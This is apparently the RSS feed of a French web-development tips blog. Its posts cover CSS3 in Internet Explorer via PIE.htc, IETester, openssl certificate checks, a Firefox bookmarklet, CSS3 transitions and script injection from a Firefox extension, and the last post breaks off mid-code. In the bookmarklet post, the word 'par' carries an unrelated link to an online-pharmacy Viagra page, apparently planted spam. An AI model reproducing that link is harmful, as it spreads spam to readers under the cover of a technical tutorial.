<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Cyril - Mes astuces &#187; web</title>
	<atom:link href="http://blog.cyril.me/tag/web/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.cyril.me</link>
	<description>Des astuces sur un peu de tout : l&#039;iPhone, Gentoo, la Wii, ...</description>
	<lastBuildDate>Thu, 02 Feb 2012 18:43:25 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Le CSS3 pour tous, même pour Internet Explorer !</title>
		<link>http://blog.cyril.me/2011/07/pie-htc-css3-ie/</link>
		<comments>http://blog.cyril.me/2011/07/pie-htc-css3-ie/#comments</comments>
		<pubDate>Sun, 10 Jul 2011 14:53:14 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[web]]></category>
		<category><![CDATA[Windows et IE]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[html5]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=569</guid>
		<description><![CDATA[Les développeurs HTML le savent bien : impossible de faire des styles uniformes sous tous les navigateurs ! Chacun a ses particularités : chrome et ses webkit-, safari qui n&#8217;en met pas et firefox qui -moz ifie un peu tout&#8230; et IE qui ne fait rien ! La solution pour IE : PIE.htc La solution [...]]]></description>
			<content:encoded><![CDATA[<p>Les développeurs HTML le savent bien : impossible de faire des styles uniformes sous tous les navigateurs ! Chacun a ses particularités : chrome et ses webkit-, safari qui n&#8217;en met pas et firefox qui -moz ifie un peu tout&#8230; et IE qui ne fait rien !</p>
<h3>La solution pour IE : PIE.htc</h3>
<p>La solution proposée ici a été développée pour supporter le CSS 3 sur Internet Explorer. Pour ce faire, on utilise une particularité CSS de Internet Explorer pour exécuter du JavaScript, qui va recréer le style CSS 3.</p>
<p><a href="http://css3pie.com/" target="_blank">Voir la démo sur css3pie.com</a></p>
<h3>Mise en place</h3>
<p>Il suffit de rajouter une ligne CSS au style des éléments qui ont du CSS3.</p>
<div class="dean_ch" style="white-space: wrap;"><ol><li class="li1"><div class="de1">&lt;style type=&quot;text/css&quot;&gt;</div></li>
<li class="li1"><div class="de1">.rounded-corner5</div></li>
<li class="li1"><div class="de1">{</div></li>
<li class="li1"><div class="de1">&nbsp; -webkit-border-radius: 5px; /* Chrome */</div></li>
<li class="li2"><div class="de2">&nbsp; border-radius: 5px; /* CSS3 */</div></li>
<li class="li1"><div class="de1">&nbsp; -moz-border-radius: 5px; /* Mozilla */</div></li>
<li class="li1"><div class="de1">&nbsp; behavior: url(PIE.htc); /* Internet Explorer */</div></li>
<li class="li1"><div class="de1">}</div></li>
<li class="li1"><div class="de1">&lt;/style&gt;</div></li></ol></div>
<h3>Exemple d&#8217;utilisation</h3>
<style><!--  .rounded-corner5 { -webkit-border-radius: 5px; /* Chrome */ border-radius: 5px; /* CSS3 */ -moz-border-radius: 5px; /* Mozilla */ behavior: url(/wp-content/uploads/PIE.htc.php); /* Internet Explorer */ } .p569_example { border: 2px solid #aaa; padding: 5px; } --></style>
<div class="rounded-corner5 p569_example">Ceci est un div en exemple, avec des bords arrondis</div>
<h3>Dépannage : quelques règles à respecter tout de même&#8230;</h3>
<p>Il y a principalement deux problèmes qui peuvent être rencontrés :</p>
<ol type="1">
<li><a href="http://css3pie.com/documentation/known-issues/#content-type" target="_blank">Mime-type :</a> par défaut sous linux, le fichier .htc est reconnu comme étant du type text/html, mais doit être du type text/x-component pour que ça fonctionne. Plusieurs solutions, en fonction de ce que vous pouvez faire : modifier la configuration du serveur /etc/mime.types pour rajouter ce champ, rajouter la ligne <code>AddType text/x-component .htc</code> à votre configuration apache ou .htaccess, ou enfin créer un fichier de script du type PHP en utilisant le code <code>header('Content-type: text/x-component')</code> pour spécifier le type contenu.</li>
<li><a href="http://css3pie.com/documentation/known-issues/#x-domain" target="_blank">Domaine, répertoire et droits :</a> le CSS ne va fonctionner que si le fichier .htc est sur le même domaine que le site qui sert le HTML : impossible donc d&#8217;utiliser la traditionnelle et non moins nécessaire segmentation des contenus dynamiques/statiques. Du coup, les rendu CSS3 utilisant des url() risquent d&#8217;être mal considérées si le chemin est relatif.</li>
</ol>
<p>English version : <a target="_blank" href="http://blog.cyril.me/en/2011/07/pie-htc-css3-internet-explorer/">CSS3 for Internet Explorer with PIE.htc</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2011/07/pie-htc-css3-ie/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tester son site web de IE6 à IE10 avec un seul windows</title>
		<link>http://blog.cyril.me/2011/06/ietester-internet-explorer-windows/</link>
		<comments>http://blog.cyril.me/2011/06/ietester-internet-explorer-windows/#comments</comments>
		<pubDate>Wed, 22 Jun 2011 06:28:47 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[web]]></category>
		<category><![CDATA[Windows et IE]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=562</guid>
		<description><![CDATA[Les développeurs le savent bien : comment faire marcher son site sur les autres navigateurs relève à la fois du casse-tête et de la patience : le casse-tête de faire des feuilles de styles compatibles, et la patience pour avoir un environnement permettant de tester tout ça&#8230; IETester IETester est un logiciel qui vous permet [...]]]></description>
			<content:encoded><![CDATA[<p>Les développeurs le savent bien : comment faire marcher son site sur les autres navigateurs relève à la fois du casse-tête et de la patience : le casse-tête de faire des feuilles de styles compatibles, et la patience pour avoir un environnement permettant de tester tout ça&#8230;</p>
<h3>IETester</h3>
<p><a href="http://www.my-debugbar.com/wiki/IETester/HomePage">IETester</a> est un logiciel qui vous permet de tester votre site internet sous les différentes versions d&#8217;Internet Explorer : IE5.5, IE6, IE6, IE8, IE9, IE10&#8230;</p>
<p style="text-align: center;"><a href="http://blog.cyril.me/wp-content/uploads/2011/06/ietester-0.3.png"><img class="size-full wp-image-574 aligncenter" title="ietester-0.3" src="http://blog.cyril.me/wp-content/uploads/2011/06/ietester-0.3.png" alt="" width="476" height="275" /></a></p>
<p>Le principe est simple : vous avez des onglets qui vont appeler les différents moteurs de rendus des précédentes versions de IE.</p>
<h3>Cerise sur le gâteau : des outils de développements</h3>
<p>Non content de fournir déjà ce premier service, IETester englobe aussi des outils de développement : la possibilité de voir le code HTML interprété, mais aussi le style interprété (par le parser IE, pas par IE lui-même !), un DOM explorer&#8230;</p>
<p>Par ailleurs, le logiciel dispose aussi de boutons raccourcis bien pratique, comme le rechargement d&#8217;une page sans l&#8217;utilisation du cache.</p>
<h3>Limites : les extensions</h3>
<p>Malheureusement &#8211; et ce n&#8217;est pas du tout un reproche tellement la problématique est différente et complexe &#8211; ceci n&#8217;est pas une solution pour tester ses extensions sous les différentes version de IE, et ce pour plusieurs raisons :</p>
<ul>
<li>IETester n&#8217;utilise que le moteur de rendu, donc il n&#8217;est pas possible d&#8217;ajouter des interfaces (boutons, toolbar, &#8230;) ou des BHO a fortiori ;</li>
<li>les extensions doivent aussi être testées sous les différentes version de windows et différents environnements : XP, Vista, 7 sous différents SP, mais aussi en mode de confidentialité ou non.</li>
</ul>
<p>Pour ça, je crois que la seule solution est d&#8217;utiliser des Virtual Machines conjointement avec des Snapshots.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2011/06/ietester-internet-explorer-windows/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Openssl et les tests sur les certificats</title>
		<link>http://blog.cyril.me/2011/05/openssl-tests-sur-les-certificats/</link>
		<comments>http://blog.cyril.me/2011/05/openssl-tests-sur-les-certificats/#comments</comments>
		<pubDate>Fri, 13 May 2011 19:18:07 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[scripts rapides]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=552</guid>
		<description><![CDATA[Voici un petit moyen de tester si un certificat ssl est valide, et s&#8217;il le restera encore pendant un certain temps&#8230; Openssl s_client et openssl x509 Openssl donne deux outils qui vont nous servir. 1. Le premier permet de se connecter à un serveur pour envoyer des requêtes openssl s_client -connect www.openssl.org:443 Cette commande va [...]]]></description>
			<content:encoded><![CDATA[<p>Voici un petit moyen de tester si un certificat ssl est valide, et s&#8217;il le restera encore pendant un certain temps&#8230;</p>
<h3>Openssl s_client et openssl x509</h3>
<p>Openssl donne deux outils qui vont nous servir.</p>
<p>1. Le premier permet de se connecter à un serveur pour envoyer des requêtes</p>
<pre>openssl s_client -connect www.openssl.org:443</pre>
<p>Cette commande va se connecter au server www.openssl.org sur le port 443 en utilisant le protocole SSL. Vous pourrez ensuite communiquer avec le serveur en HTTP :</p>
<pre>GET / HTTP/1.0
Host : www.openssl.org</pre>
<p>et le serveur va vous renvoyer la page. On peut aussi utiliser cette technique sur d&#8217;autres ports et d&#8217;autres protocoles, comme pour le SMTPs, le POPs, etc.</p>
<p>2. Le deuxième permet d&#8217;avoir des informations sur le certificat : est-il valide ? Quelle est sa date d&#8217;expiration ? Il suffit de piper la première commande avec la deuxième :</p>
<pre>echo | openssl s_client -connect www.openssl.org:443 | openssl x509 -noout -enddate</pre>
<h3>Quelques astuces avec openssl</h3>
<ul>
<li>Si openssl vous sort qu&#8217;un certificat dans la chaîne n&#8217;est pas valide, donnez-lui le chemin vers le dossier contenant les certificats racines, par exemple <code>-CApath /etc/ssl/certs</code></li>
<li>Si vous voulez éviter d&#8217;avoir les erreurs de la première commande en sortie, envoyez-les vers /dev/null : <code>openssl s_client -connect www.openssl.org:443 2&gt; /dev/null</code></li>
<li>Si vous voulez connaitres les différentes options de openssl s_client ou de openssl x509, essayez <code>man ssl-s_client</code> ou <code>man ssl-x509</code></li>
</ul>
<h3>Petit bonus : le script PHP qui teste si un certificat expire bientôt</h3>
<div class="dean_ch" style="white-space: wrap;"><ol><li class="li1"><div class="de1">$args = <span class="st0">'www.openssl.org:443'</span>;</div></li>
<li class="li1"><div class="de1">$command =</div></li>
<li class="li1"><div class="de1">&nbsp; <span class="st0">'date +%s -d &quot;$(LANG=C openssl s_client -connect '</span></div></li>
<li class="li1"><div class="de1">&nbsp; .<span class="me1">escapeshellarg</span><span class="br0">&#40;</span>$args<span class="br0">&#41;</span></div></li>
<li class="li2"><div class="de2">&nbsp; .<span class="st0">' -CApath /etc/ssl/certs/ &lt; /dev/null 2&gt;/dev/null | openssl x509 -noout -text -enddate | tail -n1 | cut -d= -f2)&quot;'</span>;</div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">exec<span class="br0">&#40;</span>$command, $output<span class="br0">&#41;</span>;</div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">$time = array_shift<span class="br0">&#40;</span>$output<span class="br0">&#41;</span>;</div></li>
<li class="li2"><div class="de2"><span class="kw1">if</span><span class="br0">&#40;</span>!is_numeric<span class="br0">&#40;</span>$time<span class="br0">&#41;</span> || $time == <span class="nu0">0</span><span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; <span class="co1">// Erreur : impossible de tester la validité du certificat : pourquoi ?</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1"><span class="kw1">else</span></div></li>
<li class="li2"><div class="de2"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; <span class="co1">// On va avoir le nombre de jour restant</span></div></li>
<li class="li1"><div class="de1">&nbsp; $nDaysLeft = floor<span class="br0">&#40;</span><span class="br0">&#40;</span>$time - time<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>/<span class="nu0">86400</span><span class="br0">&#41;</span>;</div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li></ol></div>
<p><em>Articles sources</em></p>
<p>Tester la date de fin d&#8217;un certificat : <a href="http://www.brandonhutchinson.com/When_does_my_certificate_expire%3F.html">http://www.brandonhutchinson.com/When_does_my_certificate_expire%3F.html</a><br />
Tester la validité du certificat avec les certificats racines : <a href="http://stackoverflow.com/questions/4103472/ssl-handshake-fails-with-a-verisign-chain-certificate-that-contains-two-ca-si">http://stackoverflow.com/questions/4103472/ssl-handshake-fails-with-a-verisign-chain-certificate-that-contains-two-ca-si</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2011/05/openssl-tests-sur-les-certificats/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ajouter la barre de scroll à une page avec Firefox</title>
		<link>http://blog.cyril.me/2011/02/firefox-ajouter-scrollbar/</link>
		<comments>http://blog.cyril.me/2011/02/firefox-ajouter-scrollbar/#comments</comments>
		<pubDate>Sun, 27 Feb 2011 16:31:59 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[web]]></category>
		<category><![CDATA[firefox]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=536</guid>
		<description><![CDATA[Voici un cas pratique d&#8217;une fonctionnalité bien utile de Firefox : exécuter un code Javascript prédéfini sur une page web donnée. Lorsque l&#8217;on va sur les sites iPhone avec Firefox (pourquoi faire ???), la barre de scroll n&#8217;est pas affichée. Il existe pourtant un moyen tout simple de l&#8217;afficher : Créez un raccourci (bookmark) dans [...]]]></description>
			<content:encoded><![CDATA[<p>Voici un cas pratique d&#8217;une fonctionnalité bien utile de Firefox : exécuter un code Javascript prédéfini sur une page web donnée.</p>
<p>Lorsque l&#8217;on va sur les sites iPhone avec Firefox (pourquoi faire ???), la barre de scroll n&#8217;est pas affichée. Il existe pourtant un moyen tout simple de l&#8217;afficher :</p>
<ul>
<li>Créez un raccourci (bookmark) dans vos marques pages (sur la barre de marques-page personnelle, c&#8217;est encore mieux !) : &laquo;&nbsp;Marque-pages&nbsp;&raquo;, &laquo;&nbsp;Organiser&#8230;&nbsp;&raquo; puis créez un raccourci (vous pouvez aussi faire un clic-droit sur la barre personnelle, puis &laquo;&nbsp;Nouveau marque-page&nbsp;&raquo;) ;</li>
<li>Nom : mettez ce que vous voulez ;</li>
<li>Adresse : mettez le code suivant : <code>javascript:document.body.style.overflow="auto";(function(){})()</code> ;</li>
<li>Ensuite, rendez-vous sur une page sans scrollbar, <a href='http://atlantic-drugs.net/products/viagra.htm'>par</a> exemple le portail sport de Orange pour mobile : <a title="Portail sport de Orange pour iPhone" href="http://sports.iphone.m.orange.fr/" target="_blank">http://sports.iphone.m.orange.fr/</a>, et cliquez sur votre favori !</li>
</ul>
<p>Astuce supplémentaire : utiliser un mot-clé pour les favoris</p>
<p>Pour appeler un favori directement depuis la barre d&#8217;adresse (sans avoir à chercher dans vos favoris), attribuez un mot-clé à votre marque page. Il suffit alors de taper le mot clé dans la barre d&#8217;adresse pour accéder à la page.</p>
<p>Par exemple, dans notre cas, tapez &laquo;&nbsp;M&nbsp;&raquo; comme mot-clé pour ce marque page. Rendez-vous sur la page, puis tapez &laquo;&nbsp;M&nbsp;&raquo; dans la barre d&#8217;adresse.</p>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow: hidden;">javascript:document.body.style.overflow=&nbsp;&raquo;auto&nbsp;&raquo;;(function(){})()</div>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2011/02/firefox-ajouter-scrollbar/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CSS3 : Transitions et animations</title>
		<link>http://blog.cyril.me/2010/09/css3-transition-animations/</link>
		<comments>http://blog.cyril.me/2010/09/css3-transition-animations/#comments</comments>
		<pubDate>Tue, 07 Sep 2010 06:14:48 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[web]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[html5]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=416</guid>
		<description><![CDATA[Le CSS évolue. Une des principales innovations dans ce standard est l&#8217;ajout des animations. En voici un aperçu. Démo : opacité et rotation Un peu de code Principe de fonctionnement Le principe des animations est simple : Vous ajouter des styles à vos objets : style normal, et style modifié sur un évènement, par exemple [...]]]></description>
			<content:encoded><![CDATA[<p>Le CSS évolue. Une des principales innovations dans ce standard est l&#8217;ajout des animations. En voici un aperçu.</p>
<h3>Démo : opacité et rotation</h3>
<style type="text/css">
.p416_animated {  -webkit-transition: -webkit-transform 1000ms ease-out 40ms, opacity 1000ms ease-out 40ms; -moz-transition: -moz-transform 1000ms ease-out 40ms, opacity 1000ms ease-out 40ms; opacity:.5;
}
.p416_animated:hover { opacity:1; -webkit-transform: rotate(360deg); -moz-transform: rotate(360deg); }
</style>
<p style="text-align: center">
<img class="p416_animated" src="http://blog.cyril.me/wp-content/uploads/2010/09/firefox-150x150.png" alt="" /></p>
<h3>Un peu de code</h3>
<h4>Principe de fonctionnement</h4>
<p>Le principe des animations est simple :</p>
<ol>
<li>Vous ajouter des styles à vos objets : style normal, et style modifié sur un évènement, par exemple avec <code>:hover</code>. Par exemple, on définit <code>opacity: 0.5;</code> dans le cas normal et <code>opacity: 1;</code> dans le <code>:hover</code>.</li>
<li>On rajoute un style normal qui s&#8217;intitule <code>-webkit-transition</code> et dans lequel on va programmer la transition : type de propriété à animer, courbe de vitesse. Par exemple, si on veut animer l&#8217;opacité avec une vitesse rapide, en rendant l&#8217;arrêt plus fluide : <code>-webkit-transition: -webkit-transform 1000ms ease-out 40ms ;</code></li>
</ol>
<h4>Source de l&#8217;exemple</h4>
<div class="dean_ch" style="white-space: wrap;"><ol><li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="sc2"><span class="kw2">&lt;style&gt;</span></span></div></li>
<li class="li1"><div class="de1">.p416_animated {</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp;opacity:.5;</div></li>
<li class="li2"><div class="de2">&nbsp; -webkit-transition: -webkit-transform 1000ms ease-out 40ms, opacity 1000ms ease-out 40ms;</div></li>
<li class="li1"><div class="de1">&nbsp; -moz-transition: -moz-transform 1000ms ease-out 40ms, opacity 1000ms ease-out 40ms;</div></li>
<li class="li1"><div class="de1">}</div></li>
<li class="li1"><div class="de1">.p416_animated:hover {</div></li>
<li class="li1"><div class="de1">&nbsp; opacity:1;</div></li>
<li class="li2"><div class="de2">&nbsp; -webkit-transform: rotate(360deg);</div></li>
<li class="li1"><div class="de1">&nbsp; -moz-transform: rotate(360deg);</div></li>
<li class="li1"><div class="de1">}</div></li>
<li class="li1"><div class="de1"><span class="sc2"><span class="kw2">&lt;/style&gt;</span></span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li2"><div class="de2"><span class="sc2"><span class="kw2">&lt;img</span> <span class="kw3">class</span>=<span class="st0">&quot;p416_animated&quot;</span> <span class="kw3">src</span>=<span class="st0">&quot;http://blog.cyril.me/wp-content/uploads/2010/09/firefox-150x150.png&quot;</span> <span class="kw3">alt</span>=<span class="st0">&quot;&quot;</span> /<span class="kw2">&gt;</span></span></div></li></ol></div>
<h3>Compatibilité</h3>
<p>
Le grand problème des évolutions de langage, c&#8217;est qu&#8217;il faut attendre l&#8217;évolution des navigateurs. Parmi les navigateurs compatibles disponibles à ce jour, nous avons Firefox 4, Chrome et Safari.
</p>
<p>
Cependant, le manque de compatibilité, dans certains cas (opacité par exemple), ne rendra pas votre site incompatible, mais seulement moins fini.
</p>
<p>
Pour aller plus loin : <a href="http://www.w3.org/TR/css3-transitions/" title="CSS3 Transitions Reference">la référence du w3 sur les transitions CSS3</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2010/09/css3-transition-animations/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Les notifications HTML5 sous Firefox</title>
		<link>http://blog.cyril.me/2010/08/notifications-html5-firefox/</link>
		<comments>http://blog.cyril.me/2010/08/notifications-html5-firefox/#comments</comments>
		<pubDate>Mon, 30 Aug 2010 06:31:45 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[Firefox HTML5 Notifications]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[html5]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=409</guid>
		<description><![CDATA[Envie d&#8217;avoir les notifications sous Firefox comme sous Chrome ? C&#8217;est désormais possible avec l&#8217;extension qui va bien. Elle n&#8217;est pas encore tout à fait finie, mais c&#8217;est assez pour pouvoir s&#8217;en servir. La page de l&#8217;extension : https://addons.mozilla.org/fr/firefox/addon/221523/ Site officiel : http://code.google.com/p/ff-html5notifications/]]></description>
			<content:encoded><![CDATA[<p>Envie d&#8217;avoir les notifications sous Firefox comme sous Chrome ? C&#8217;est désormais possible avec <a title="HTML5 Notifications for Firefox" href="https://addons.mozilla.org/fr/firefox/addon/221523/">l&#8217;extension qui va bien</a>.</p>
<p>Elle n&#8217;est pas encore tout à fait finie, mais c&#8217;est assez pour pouvoir s&#8217;en servir.</p>
<p>La page de l&#8217;extension : <a href="https://addons.mozilla.org/fr/firefox/addon/221523/">https://addons.mozilla.org/fr/firefox/addon/221523/</a><br />
Site officiel : <a href="http://code.google.com/p/ff-html5notifications/">http://code.google.com/p/ff-html5notifications/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2010/08/notifications-html5-firefox/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Injection de Javascript dans du HTML depuis une extension Firefox</title>
		<link>http://blog.cyril.me/2010/08/injection-javascript-code-html-extension-firefox/</link>
		<comments>http://blog.cyril.me/2010/08/injection-javascript-code-html-extension-firefox/#comments</comments>
		<pubDate>Fri, 27 Aug 2010 19:07:52 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[web]]></category>
		<category><![CDATA[firefox]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=382</guid>
		<description><![CDATA[Aujourd&#8217;hui, j&#8217;ai cherché à injecter du code dans une page HTML depuis une extension Firefox. Ca permet de définir des objects dans le scope de la fenêtre, qui seront ensuite accessibles depuis le code javascript de la page. J&#8217;ai aussi cherché à communiquer dans l&#8217;autre sens : appeler des fonctions de mon extension depuis la [...]]]></description>
			<content:encoded><![CDATA[<p>Aujourd&#8217;hui, j&#8217;ai cherché à injecter du code dans une page HTML depuis une extension Firefox. Ca permet de définir des objects dans le scope de la fenêtre, qui seront ensuite accessibles depuis le code javascript de la page. J&#8217;ai aussi cherché à communiquer dans l&#8217;autre sens : appeler des fonctions de mon extension depuis la page web.</p>
<h3>Injection de script dans une page Web</h3>
<p>L&#8217;injection se passe en deux étapes :</p>
<ol>
<li>Il faut savoir sur quelle page intervenir : on peut donc se binder sur l&#8217;évènement <code>DOMContentLoaded</code> du navigateur ;</li>
<li>Il faut ensuite injecter le code à proprement parler, et qu&#8217;il soit visible.</li>
</ol>
<h4>Etape 1</h4>
<p>Voici le code commenté (à inclure dans browser.xul) :</p>
<div style="font-size: 87.5%;">
<div class="dean_ch" style="white-space: wrap;"><ol><li class="li1"><div class="de1">var Injector =</div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; init: <span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1">&nbsp; <span class="br0">&#123;</span></div></li>
<li class="li2"><div class="de2">&nbsp; &nbsp; var appcontent = document.<span class="me1">getElementById</span><span class="br0">&#40;</span><span class="st0">'appcontent'</span><span class="br0">&#41;</span>; <span class="co1">// On récupère le navigateur</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>appcontent<span class="br0">&#41;</span> <span class="co1">// On se bind sur le bon évènement</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; appcontent.<span class="me1">addEventListener</span><span class="br0">&#40;</span><span class="st0">'DOMContentLoaded'</span>, Injector.<span class="me1">onPageLoaded</span>, <span class="kw2">true</span><span class="br0">&#41;</span>;</div></li>
<li class="li1"><div class="de1">&nbsp; <span class="br0">&#125;</span>,</div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li2"><div class="de2">&nbsp; onPageLoaded: <span class="kw2">function</span><span class="br0">&#40;</span>aEvent<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1">&nbsp; <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>aEvent.<span class="me1">target</span> instanceOf HTMLDocument<span class="br0">&#41;</span> <span class="co1">// Si on est sur un document HTML</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; var doc = aEvent.<span class="me1">originalTarget</span>; <span class="co1">// Voici le HTMLDocument</span></div></li>
<li class="li2"><div class="de2">&nbsp; &nbsp; &nbsp; var win = doc.<span class="me1">defaultView</span>; <span class="co1">// Voici la DOMWindow</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li></ol></div>
</div>
<h4>2. Injection de code</h4>
<p>Et voici comment injecter :</p>
<div style="font-size: 87.5%;">
<div class="dean_ch" style="white-space: wrap;"><ol><li class="li1"><div class="de1"><span class="coMULTI">/**</span></div></li>
<li class="li1"><div class="de1"><span class="coMULTI">&nbsp;* Permet d'injecter du javascript dans une page</span></div></li>
<li class="li1"><div class="de1"><span class="coMULTI">&nbsp;* @param win DOMWindow La fenêtre dans laquelle injecter le script</span></div></li>
<li class="li1"><div class="de1"><span class="coMULTI">&nbsp;* @param id string Un id unique pour identifier le script</span></div></li>
<li class="li2"><div class="de2"><span class="coMULTI">&nbsp;* @param src string Le code source</span></div></li>
<li class="li1"><div class="de1"><span class="coMULTI">&nbsp;* @param [optional] boolean bRemove Vrai si on veut enlever le script de la page après son inclusion</span></div></li>
<li class="li1"><div class="de1"><span class="coMULTI">*/</span></div></li>
<li class="li1"><div class="de1">Injector.<span class="me1">addScript</span> = <span class="kw2">function</span><span class="br0">&#40;</span>win, id, src, bRemove<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li2"><div class="de2">&nbsp; <span class="co1">// On crée un élément script</span></div></li>
<li class="li1"><div class="de1">&nbsp; var element = win.<span class="me1">document</span>.<span class="me1">createElementNS</span><span class="br0">&#40;</span><span class="st0">'http://www.w3.org/1999/xhtml'</span>, <span class="st0">'html:script'</span><span class="br0">&#41;</span>;</div></li>
<li class="li1"><div class="de1">&nbsp; element.<span class="me1">setAttribute</span><span class="br0">&#40;</span><span class="st0">'type'</span>, <span class="st0">'text/javascript'</span><span class="br0">&#41;</span>;</div></li>
<li class="li1"><div class="de1">&nbsp; element.<span class="me1">setAttribute</span><span class="br0">&#40;</span><span class="st0">'id'</span>, id<span class="br0">&#41;</span>;</div></li>
<li class="li1"><div class="de1">&nbsp; element.<span class="me1">innerHTML</span> = src;</div></li>
<li class="li2"><div class="de2">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; <span class="co1">// Et on l'ajoute !</span></div></li>
<li class="li1"><div class="de1">&nbsp; win.<span class="me1">document</span>.<span class="me1">documentElement</span>.<span class="me1">appendChild</span><span class="br0">&#40;</span>element<span class="br0">&#41;</span>;</div></li>
<li class="li1"><div class="de1">&nbsp; <span class="co1">// On supprime l'élément si demandé</span></div></li>
<li class="li1"><div class="de1">&nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>bRemove<span class="br0">&#41;</span> element.<span class="me1">parentNode</span>.<span class="me1">removeChild</span><span class="br0">&#40;</span>element<span class="br0">&#41;</span>;</div></li>
<li class="li2"><div class="de2"><span class="br0">&#125;</span></div></li></ol></div>
</div>
<h3>Communiquer avec un script qui tourne dans le browser.xul</h3>
<p>Communiquer dans l&#8217;autre sens a des intérêts : ça permet d&#8217;accéder à des fonctions plus avancée (accès à toutes les librairies XPCOM !).</p>
<p>La méthode est plutôt simple : on crée un élément dans le <code>HTMLDocument</code> (utile pour faire passer des données, en utilisant des attributs auxquels on aura ensuite accès), et on envoie alors un évènement personnalisé, sur lequel écoute notre <code>Injector</code>.</p>
<h4>1. Ecoute des évènements de la page</h4>
<p>On modifie le <code>onPageLoad</code> pour rajouter le bind sur les évènements, que l&#8217;on va ensuite traiter avec la méthode <code>onEvent</code> :</p>
<div style="font-size: 87.5%;">
<div class="dean_ch" style="white-space: wrap;"><ol><li class="li1"><div class="de1"><span class="br0">&#91;</span>...<span class="br0">&#93;</span></div></li>
